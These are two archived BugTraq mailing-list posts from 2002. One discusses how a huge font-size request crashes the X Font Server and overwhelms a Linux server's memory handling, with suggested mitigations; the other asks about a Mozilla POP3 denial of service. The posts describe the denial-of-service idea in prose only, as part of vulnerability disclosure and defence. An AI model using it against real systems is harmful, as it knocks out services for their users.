8594800 2002-06-13 22:10 +0100 /107 rader/ Matthew Wakeling <mnw21@bigfoot.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-14 02:00 av Brevbäraren
Extern mottagare: BugTraq Mailing List <bugtraq@securityfocus.com>
Extern mottagare: Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
Mottagare: Bugtraq (import) <22630>
Kommentar till text 8593616 av Federico Sevilla III <jijo@free.net.ph>
Ärende: Re: Very large font size crashing X Font Server and Grounding Server to a Halt (was: remote DoS in Mozilla 1.0)
------------------------------------------------------------
From: Matthew Wakeling <mnw21@bigfoot.com>
To: BugTraq Mailing List <bugtraq@securityfocus.com>,
Linux Kernel Mailing List <linux-kernel@vger.kernel.org> Message-ID:
<Pine.LNX.4.44.0206132128570.4999-100000@server3.jumpleads.com>
On Thu, 13 Jun 2002, Federico Sevilla III wrote:
> I was able to log on to the server with enough time to SIGKILL the
> xfs-daemon process. Unfortunately this wasn't good enough. The server
> started running up various processes stuck in "D" state, the OOM killer
> went on panic mode and started killing things left and right, mostly from
> what I notice apache and apache-ssl processes with messages like "Out of
> Memory: Killed process xxxx (apache)". I was also able to do a `free`
> after killing xfs-daemon and noticed that there was a lot of free memory
> both physically and on swap.
>
> Within less than ten minutes on this relatively lightly-loaded server, I
> could not log in to the machine locally, even as root (whose home
> directory is not NFS-exported) and load levels shot up to around 25, which
> is definitely abnormal. Existing logged-on processes also got stuck in
> whatever they were doing (`ps ax`, in particular is what I remember).
It has always puzzled me that a process using lots of memory can
bring down an entire (otherwise relatively idle) server to the
extent that one cannot even get mingetty on a local terminal to
respond to keypresses. I can confirm that the described situation is
not just a one-off.
It is my experience that a single process using large amounts of
memory causes the system to start swapping. Once it starts swapping,
every process that does anything (apart from indefinite wait) goes
into "I'm ready to do some processing, but my memory is swapped out"
state, and the whole system collapses.
I don't know if Linux prioritises swap-ins as well as CPU time, but
perhaps this would be a good way of stabilising this
circumstance. One could arrange the dynamic process priorities so
that the bad neighbour (read: exploited xfs-daemon) gets less than
its fair share of physical RAM, therefore letting the rest of the
system live. Perhaps one could limit the number of processes that
are having their swap-in serviced at any one time, and make the ones
that are being serviced the ones with the highest dynamic priority.
I don't know what exactly is causing the problem, but it is possible
that pages are being paged in, the process runs on them for a
quantum, and then paged out. In this case, it might help to dictate
a minimum time a page can be "in", measured in the amount of work
the owning process manages to do.
My other quibble is that the out-of-memory killer seems to choose
processes fairly randomly. Ideally, it should kill the process that
is causing the problem - which in my experience is always the
biggest process in the system, or the process which has grown the
fastest recently. However, it should probably be positively
discouraged from killing things like apache (where most of the
process space is shared), or gettys (which are firstly small, and
secondly likely to be respawned by someone at the first opportunity).
> Attempted reboots locally via Ctrl-Alt-Delete and Magic SysRq failed
> because (1) I had disabled ctrl-alt-delete mapping in inittab "for
> security", and (2) I had not compiled Magic SysRq support on this
> particular server. More notes to self.
I think that if you had not disabled ctrl-alt-delete, it wouldn't
have done much good anyway, since usually that key combination just
tells init to spawn a shutdown process, which has just as much
chance of getting resources as any other process in the system.
> While I agree with BugTraq posts in response to this that applications
> like Mozilla which accept font-sizes from unknown sources should have some
> check to prevent such large sizes from crashing X and/or the X Font
> Server, I'm alarmed by (1) the way the X font server allows itself to be
> crashed like this, and (2) the way the entire Linux kernel seems to have
> been unable to handle the situation.
I am in complete agreement with both points, but particularly that
the kernel should be able to cope with the situation gracefully. I
know one can set limits on processes, but the kernel should still be
able to cope if we don't.
> Suggestions on how to work around this on multiple levels would definitely
> be appreciated.
My suggestion would be to set a maximum core size for the xfs-daemon
process. Given your setup, something like 400MB seems appropriate -
maybe a little lower. Details for doing this seem to differ from
linux to linux. Having done that, I would make sure xfs respawns
when it dies - that way someone can't just DOS your whole network by
asking for a large font. Finally, wait for the xfs developers to put
in a font size limit, or patch the source yourself.
Apart from that, I wouldn't move xfs to a bigger server unless you
have already had people complaining about its performance. Moving it
to a bigger system just changes the constant in the equation - the
attacker would only need to specify a 100000 point font instead of a
50000 point font to bring the system down.
I doubt any of my kernel suggestions have not already been thought
about, but it was worth a try. Please can this problem be fixed soon?
Matthew
--
"If I wanted to kill a battleship, I'd use a s?!tload of Harpoons."
"NT is a lot cheaper." -- Paul Tomblin & Petro
(8594800) /Matthew Wakeling <mnw21@bigfoot.com>/(Ombruten)
8597298 2002-06-14 12:22 +0000 /19 rader/ Tim the Enchanter <rlf@SDF.LONESTAR.ORG>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-14 14:51 av Brevbäraren
Extern mottagare: eldre@afturgurluk.org
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22639>
Ärende: Another small DoS on Mozilla <= 1.0 through pop3
------------------------------------------------------------
From: Tim the Enchanter <rlf@SDF.LONESTAR.ORG>
To: eldre@afturgurluk.org
Cc: bugtraq@securityfocus.com
Message-ID: <Pine.NEB.4.44.0206141213350.24186-100000@sdf.lonestar.org>
I wonder if this is the result of the SMTP server not properly
handling the hex encoded message, or the client properly, but not
securely handling of the single dot. To do some testing on my own I
would like to know what SMTP server you have teseted this on, or if
there are other people out there who can change my point of view ;)
TIA
Enchanter_tim
rlf@sdf.lonestar.org
SDF Public Access UNIX System - http://sdf.lonestar.org
(8597298) /Tim the Enchanter <rlf@SDF.LONESTAR.ORG>/(Ombruten)